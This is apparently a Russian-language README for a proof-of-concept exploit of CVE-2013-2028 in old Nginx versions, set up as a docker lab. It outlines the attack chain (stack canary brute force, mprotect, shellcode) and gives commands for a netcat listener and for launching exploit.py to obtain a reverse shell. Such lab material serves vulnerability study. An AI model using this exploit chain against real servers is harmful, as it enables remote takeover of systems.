Эксплойт CVE-2013-2028

Детали уязвимости

Уязвимое ПО: Nginx 1.3.9 < 1.4.0
Коммит с исправлением: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

Уязвимость присутствует в функции ngx_http_parse_chunked. Этот эксплойт вызывает целочисленное переполнение в ngx_http_parse_chunked, а затем, используя его, переполняет стек, чтобы перехватить поток управления.

Детали эксплуатации

Сам эксплойт состоит из 4 шагов:

1. Найдите значение канарейки стека с помощью побайтового брутфорса
2. Вычислите адрес mprotect, используя значение из rcx (указывает куда-то в lpthread). Вызовите mprotect с соответствующими аргументами.
3. Скопируйте шеллкод в область памяти RWX.
4. Перейдите к шеллкоду и запустите reverse shell

Как воспроизвести

1. Запустите слушатель на хост-системе, например, с помощью netcat: nc -lvp 4345
2. На виртуальной машине запустите docker: sudo docker-compose up --build
3. Выполните эксплойт: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. Дайте эксплойту найти фактическое значение канарейки и запустить reverse-shell.